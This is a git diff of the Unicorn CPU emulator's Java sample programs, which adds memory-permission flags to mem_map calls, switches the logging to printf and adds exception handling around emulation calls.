@ -93,7 +93,7 @@ public class Sample_arm {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM, Unicorn.UC_MODE_THUMB);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, THUMB_CODE);
|
u.mem_write(ADDRESS, THUMB_CODE);
|
||||||
|
@ -79,7 +79,7 @@ public class Sample_arm64 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_ARM64, Unicorn.UC_MODE_ARM);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, ARM_CODE);
|
u.mem_write(ADDRESS, ARM_CODE);
|
||||||
|
@ -95,7 +95,7 @@ public class Sample_m68k {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_M68K, Unicorn.UC_MODE_BIG_ENDIAN);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, M68K_CODE);
|
u.mem_write(ADDRESS, M68K_CODE);
|
||||||
|
@ -78,7 +78,7 @@ public class Sample_mips {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32 + Unicorn.UC_MODE_BIG_ENDIAN);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, MIPS_CODE_EB);
|
u.mem_write(ADDRESS, MIPS_CODE_EB);
|
||||||
@ -116,7 +116,7 @@ public class Sample_mips {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_MIPS, Unicorn.UC_MODE_MIPS32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, MIPS_CODE_EL);
|
u.mem_write(ADDRESS, MIPS_CODE_EL);
|
||||||
|
@ -79,7 +79,7 @@ public class Sample_sparc {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_BIG_ENDIAN);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_SPARC, Unicorn.UC_MODE_BIG_ENDIAN);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, SPARC_CODE);
|
u.mem_write(ADDRESS, SPARC_CODE);
|
||||||
|
@ -66,17 +66,17 @@ public class Sample_x86 {
|
|||||||
private static class MyBlockHook implements BlockHook {
|
private static class MyBlockHook implements BlockHook {
|
||||||
public void hook(Unicorn u, long address, int size, Object user_data)
|
public void hook(Unicorn u, long address, int size, Object user_data)
|
||||||
{
|
{
|
||||||
System.out.print(String.format(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size));
|
System.out.printf(">>> Tracing basic block at 0x%x, block size = 0x%x\n", address, size);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// callback for tracing instruction
|
// callback for tracing instruction
|
||||||
private static class MyCodeHook implements CodeHook {
|
private static class MyCodeHook implements CodeHook {
|
||||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size);
|
||||||
|
|
||||||
byte eflags[] = u.reg_read(Unicorn.UC_X86_REG_EFLAGS, 4);
|
byte eflags[] = u.reg_read(Unicorn.UC_X86_REG_EFLAGS, 4);
|
||||||
System.out.print(String.format(">>> --- EFLAGS is 0x%x\n", toInt(eflags)));
|
System.out.printf(">>> --- EFLAGS is 0x%x\n", toInt(eflags));
|
||||||
|
|
||||||
// Uncomment below code to stop the emulation using uc_emu_stop()
|
// Uncomment below code to stop the emulation using uc_emu_stop()
|
||||||
// if (address == 0x1000009)
|
// if (address == 0x1000009)
|
||||||
@ -88,10 +88,10 @@ public class Sample_x86 {
|
|||||||
public boolean hook(Unicorn u, int type, long address, int size, long value, Object user) {
|
public boolean hook(Unicorn u, int type, long address, int size, long value, Object user) {
|
||||||
switch(type) {
|
switch(type) {
|
||||||
case Unicorn.UC_MEM_WRITE:
|
case Unicorn.UC_MEM_WRITE:
|
||||||
System.out.print(String.format(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n",
|
System.out.printf(">>> Missing memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n",
|
||||||
address, size, value));
|
address, size, value);
|
||||||
// map this memory in with 2MB in size
|
// map this memory in with 2MB in size
|
||||||
u.mem_map(0xaaaa0000, 2 * 1024*1024);
|
u.mem_map(0xaaaa0000, 2 * 1024*1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
// return true to indicate we want to continue
|
// return true to indicate we want to continue
|
||||||
return true;
|
return true;
|
||||||
}
|
}
|
||||||
@ -103,8 +103,8 @@ public class Sample_x86 {
|
|||||||
private static class MyCode64Hook implements CodeHook {
|
private static class MyCode64Hook implements CodeHook {
|
||||||
public void hook(Unicorn u, long address, int size, Object user_data) {
|
public void hook(Unicorn u, long address, int size, Object user_data) {
|
||||||
byte[] r_rip = u.reg_read(Unicorn.UC_X86_REG_RIP, 8);
|
byte[] r_rip = u.reg_read(Unicorn.UC_X86_REG_RIP, 8);
|
||||||
System.out.print(String.format(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size));
|
System.out.printf(">>> Tracing instruction at 0x%x, instruction size = 0x%x\n", address, size);
|
||||||
System.out.print(String.format(">>> RIP is 0x%x\n", toInt(r_rip)));
|
System.out.printf(">>> RIP is 0x%x\n", toInt(r_rip));
|
||||||
|
|
||||||
// Uncomment below code to stop the emulation using uc_emu_stop()
|
// Uncomment below code to stop the emulation using uc_emu_stop()
|
||||||
// if (address == 0x1000009)
|
// if (address == 0x1000009)
|
||||||
@ -115,14 +115,14 @@ public class Sample_x86 {
|
|||||||
|
|
||||||
private static class MyRead64Hook implements ReadHook {
|
private static class MyRead64Hook implements ReadHook {
|
||||||
public void hook(Unicorn u, long address, int size, Object user) {
|
public void hook(Unicorn u, long address, int size, Object user) {
|
||||||
System.out.print(String.format(">>> Memory is being READ at 0x%x, data size = %d\n", address, size));
|
System.out.printf(">>> Memory is being READ at 0x%x, data size = %d\n", address, size);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private static class MyWrite64Hook implements WriteHook {
|
private static class MyWrite64Hook implements WriteHook {
|
||||||
public void hook(Unicorn u, long address, int size, long value, Object user) {
|
public void hook(Unicorn u, long address, int size, long value, Object user) {
|
||||||
System.out.print(String.format(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n",
|
System.out.printf(">>> Memory is being WRITE at 0x%x, data size = %d, data value = 0x%x\n",
|
||||||
address, size, value));
|
address, size, value);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -133,7 +133,7 @@ public class Sample_x86 {
|
|||||||
{
|
{
|
||||||
byte[] r_eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4);
|
byte[] r_eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4);
|
||||||
|
|
||||||
System.out.print(String.format("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, toInt(r_eip)));
|
System.out.printf("--- reading from port 0x%x, size: %d, address: 0x%x\n", port, size, toInt(r_eip));
|
||||||
|
|
||||||
switch(size) {
|
switch(size) {
|
||||||
case 1:
|
case 1:
|
||||||
@ -155,7 +155,7 @@ public class Sample_x86 {
|
|||||||
public void hook(Unicorn u, int port, int size, int value, Object user) {
|
public void hook(Unicorn u, int port, int size, int value, Object user) {
|
||||||
byte[] eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4);
|
byte[] eip = u.reg_read(Unicorn.UC_X86_REG_EIP, 4);
|
||||||
byte[] tmp = null;
|
byte[] tmp = null;
|
||||||
System.out.print(String.format("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, toInt(eip)));
|
System.out.printf("--- writing to port 0x%x, size: %d, value: 0x%x, address: 0x%x\n", port, size, value, toInt(eip));
|
||||||
|
|
||||||
// confirm that value is indeed the value of AL/AX/EAX
|
// confirm that value is indeed the value of AL/AX/EAX
|
||||||
switch(size) {
|
switch(size) {
|
||||||
@ -172,7 +172,7 @@ public class Sample_x86 {
|
|||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
System.out.print(String.format("--- register value = 0x%x\n", toInt(tmp)));
|
System.out.printf("--- register value = 0x%x\n", toInt(tmp));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -193,7 +193,7 @@ public class Sample_x86 {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
uc.mem_map(ADDRESS, 2 * 1024 * 1024);
|
uc.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
try {
|
try {
|
||||||
@ -217,8 +217,8 @@ public class Sample_x86 {
|
|||||||
try {
|
try {
|
||||||
uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0);
|
uc.emu_start(ADDRESS, ADDRESS + X86_CODE32.length, 0, 0);
|
||||||
} catch (UnicornException uex) {
|
} catch (UnicornException uex) {
|
||||||
System.out.print(String.format("Failed on uc_emu_start() with error : %s\n",
|
System.out.printf("Failed on uc_emu_start() with error : %s\n",
|
||||||
uex.getMessage()));
|
uex.getMessage());
|
||||||
}
|
}
|
||||||
|
|
||||||
// now print out some registers
|
// now print out some registers
|
||||||
@ -226,15 +226,15 @@ public class Sample_x86 {
|
|||||||
|
|
||||||
r_ecx = uc.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = uc.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
r_edx = uc.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
r_edx = uc.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx)));
|
System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx));
|
||||||
|
|
||||||
// read from memory
|
// read from memory
|
||||||
try {
|
try {
|
||||||
byte tmp[] = uc.mem_read(ADDRESS, 4);
|
byte tmp[] = uc.mem_read(ADDRESS, 4);
|
||||||
System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp)));
|
System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", ADDRESS, toInt(tmp));
|
||||||
} catch (UnicornException ex) {
|
} catch (UnicornException ex) {
|
||||||
System.out.print(String.format(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS));
|
System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", ADDRESS);
|
||||||
}
|
}
|
||||||
uc.close();
|
uc.close();
|
||||||
}
|
}
|
||||||
@ -251,7 +251,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_INOUT);
|
u.mem_write(ADDRESS, X86_CODE32_INOUT);
|
||||||
@ -279,8 +279,8 @@ public class Sample_x86 {
|
|||||||
|
|
||||||
r_eax = u.reg_read(Unicorn.UC_X86_REG_EAX, 4);
|
r_eax = u.reg_read(Unicorn.UC_X86_REG_EAX, 4);
|
||||||
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
System.out.print(String.format(">>> EAX = 0x%x\n", toInt(r_eax)));
|
System.out.printf(">>> EAX = 0x%x\n", toInt(r_eax));
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -294,7 +294,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_JUMP);
|
u.mem_write(ADDRESS, X86_CODE32_JUMP);
|
||||||
@ -326,7 +326,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_LOOP);
|
u.mem_write(ADDRESS, X86_CODE32_LOOP);
|
||||||
@ -344,8 +344,8 @@ public class Sample_x86 {
|
|||||||
|
|
||||||
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx)));
|
System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx));
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -363,7 +363,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_MEM_READ);
|
u.mem_write(ADDRESS, X86_CODE32_MEM_READ);
|
||||||
@ -379,15 +379,20 @@ public class Sample_x86 {
|
|||||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||||
|
|
||||||
// emulate machine code in infinite time
|
// emulate machine code in infinite time
|
||||||
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0);
|
try {
|
||||||
|
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_READ.length, 0, 0);
|
||||||
|
} catch (UnicornException uex) {
|
||||||
|
int err = u.errno();
|
||||||
|
System.out.printf("Failed on u.emu_start() with error returned: %s\n", uex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
// now print out some registers
|
// now print out some registers
|
||||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx)));
|
System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx));
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -405,7 +410,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE);
|
u.mem_write(ADDRESS, X86_CODE32_MEM_WRITE);
|
||||||
@ -424,22 +429,30 @@ public class Sample_x86 {
|
|||||||
u.hook_add(new MyMemInvalidHook(), null);
|
u.hook_add(new MyMemInvalidHook(), null);
|
||||||
|
|
||||||
// emulate machine code in infinite time
|
// emulate machine code in infinite time
|
||||||
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0);
|
try {
|
||||||
|
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_MEM_WRITE.length, 0, 0);
|
||||||
|
} catch (UnicornException uex) {
|
||||||
|
System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
// now print out some registers
|
// now print out some registers
|
||||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx)));
|
System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx));
|
||||||
|
|
||||||
// read from memory
|
// read from memory
|
||||||
byte tmp[] = u.mem_read(0xaaaaaaaa, 4);
|
byte tmp[] = u.mem_read(0xaaaaaaaa, 4);
|
||||||
System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp)));
|
System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xaaaaaaaa, toInt(tmp));
|
||||||
|
|
||||||
u.mem_read(0xffffffaa, 4);
|
try {
|
||||||
System.out.print(String.format(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp)));
|
u.mem_read(0xffffffaa, 4);
|
||||||
|
System.out.printf(">>> Read 4 bytes from [0x%x] = 0x%x\n", 0xffffffaa, toInt(tmp));
|
||||||
|
} catch (UnicornException uex) {
|
||||||
|
System.out.printf(">>> Failed to read 4 bytes from [0x%x]\n", 0xffffffaa);
|
||||||
|
}
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -457,7 +470,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID);
|
u.mem_write(ADDRESS, X86_CODE32_JMP_INVALID);
|
||||||
@ -473,15 +486,19 @@ public class Sample_x86 {
|
|||||||
u.hook_add(new MyCodeHook(), 1, 0, null);
|
u.hook_add(new MyCodeHook(), 1, 0, null);
|
||||||
|
|
||||||
// emulate machine code in infinite time
|
// emulate machine code in infinite time
|
||||||
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0);
|
try {
|
||||||
|
u.emu_start(ADDRESS, ADDRESS + X86_CODE32_JMP_INVALID.length, 0, 0);
|
||||||
|
} catch (UnicornException uex) {
|
||||||
|
System.out.printf("Failed on uc_emu_start() with error returned: %s\n", uex.getMessage());
|
||||||
|
}
|
||||||
|
|
||||||
// now print out some registers
|
// now print out some registers
|
||||||
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
System.out.print(">>> Emulation done. Below is the CPU context\n");
|
||||||
|
|
||||||
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
r_ecx = u.reg_read(Unicorn.UC_X86_REG_ECX, 4);
|
||||||
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
r_edx = u.reg_read(Unicorn.UC_X86_REG_EDX, 4);
|
||||||
System.out.print(String.format(">>> ECX = 0x%x\n", toInt(r_ecx)));
|
System.out.printf(">>> ECX = 0x%x\n", toInt(r_ecx));
|
||||||
System.out.print(String.format(">>> EDX = 0x%x\n", toInt(r_edx)));
|
System.out.printf(">>> EDX = 0x%x\n", toInt(r_edx));
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -511,7 +528,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_64);
|
||||||
|
|
||||||
// map 2MB memory for this emulation
|
// map 2MB memory for this emulation
|
||||||
u.mem_map(ADDRESS, 2 * 1024 * 1024);
|
u.mem_map(ADDRESS, 2 * 1024 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(ADDRESS, X86_CODE64);
|
u.mem_write(ADDRESS, X86_CODE64);
|
||||||
@ -568,20 +585,20 @@ public class Sample_x86 {
|
|||||||
byte[] r_r14 = u.reg_read(Unicorn.UC_X86_REG_R14, 8);
|
byte[] r_r14 = u.reg_read(Unicorn.UC_X86_REG_R14, 8);
|
||||||
byte[] r_r15 = u.reg_read(Unicorn.UC_X86_REG_R15, 8);
|
byte[] r_r15 = u.reg_read(Unicorn.UC_X86_REG_R15, 8);
|
||||||
|
|
||||||
System.out.print(String.format(">>> RAX = 0x%x\n", toInt(r_rax)));
|
System.out.printf(">>> RAX = 0x%x\n", toInt(r_rax));
|
||||||
System.out.print(String.format(">>> RBX = 0x%x\n", toInt(r_rbx)));
|
System.out.printf(">>> RBX = 0x%x\n", toInt(r_rbx));
|
||||||
System.out.print(String.format(">>> RCX = 0x%x\n", toInt(r_rcx)));
|
System.out.printf(">>> RCX = 0x%x\n", toInt(r_rcx));
|
||||||
System.out.print(String.format(">>> RDX = 0x%x\n", toInt(r_rdx)));
|
System.out.printf(">>> RDX = 0x%x\n", toInt(r_rdx));
|
||||||
System.out.print(String.format(">>> RSI = 0x%x\n", toInt(r_rsi)));
|
System.out.printf(">>> RSI = 0x%x\n", toInt(r_rsi));
|
||||||
System.out.print(String.format(">>> RDI = 0x%x\n", toInt(r_rdi)));
|
System.out.printf(">>> RDI = 0x%x\n", toInt(r_rdi));
|
||||||
System.out.print(String.format(">>> R8 = 0x%x\n", toInt(r_r8)));
|
System.out.printf(">>> R8 = 0x%x\n", toInt(r_r8));
|
||||||
System.out.print(String.format(">>> R9 = 0x%x\n", toInt(r_r9)));
|
System.out.printf(">>> R9 = 0x%x\n", toInt(r_r9));
|
||||||
System.out.print(String.format(">>> R10 = 0x%x\n", toInt(r_r10)));
|
System.out.printf(">>> R10 = 0x%x\n", toInt(r_r10));
|
||||||
System.out.print(String.format(">>> R11 = 0x%x\n", toInt(r_r11)));
|
System.out.printf(">>> R11 = 0x%x\n", toInt(r_r11));
|
||||||
System.out.print(String.format(">>> R12 = 0x%x\n", toInt(r_r12)));
|
System.out.printf(">>> R12 = 0x%x\n", toInt(r_r12));
|
||||||
System.out.print(String.format(">>> R13 = 0x%x\n", toInt(r_r13)));
|
System.out.printf(">>> R13 = 0x%x\n", toInt(r_r13));
|
||||||
System.out.print(String.format(">>> R14 = 0x%x\n", toInt(r_r14)));
|
System.out.printf(">>> R14 = 0x%x\n", toInt(r_r14));
|
||||||
System.out.print(String.format(">>> R15 = 0x%x\n", toInt(r_r15)));
|
System.out.printf(">>> R15 = 0x%x\n", toInt(r_r15));
|
||||||
|
|
||||||
u.close();
|
u.close();
|
||||||
}
|
}
|
||||||
@ -598,7 +615,7 @@ public class Sample_x86 {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16);
|
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_16);
|
||||||
|
|
||||||
// map 8KB memory for this emulation
|
// map 8KB memory for this emulation
|
||||||
u.mem_map(0, 8 * 1024);
|
u.mem_map(0, 8 * 1024, Unicorn.UC_PROT_READ | Unicorn.UC_PROT_WRITE);
|
||||||
|
|
||||||
// write machine code to be emulated to memory
|
// write machine code to be emulated to memory
|
||||||
u.mem_write(0, X86_CODE16);
|
u.mem_write(0, X86_CODE16);
|
||||||
|
@ -121,7 +121,7 @@ public class Shellcode {
|
|||||||
Unicorn u = new Unicorn(Unicorn.UC_ARCH_X86, Unicorn.UC_MODE_32);
|
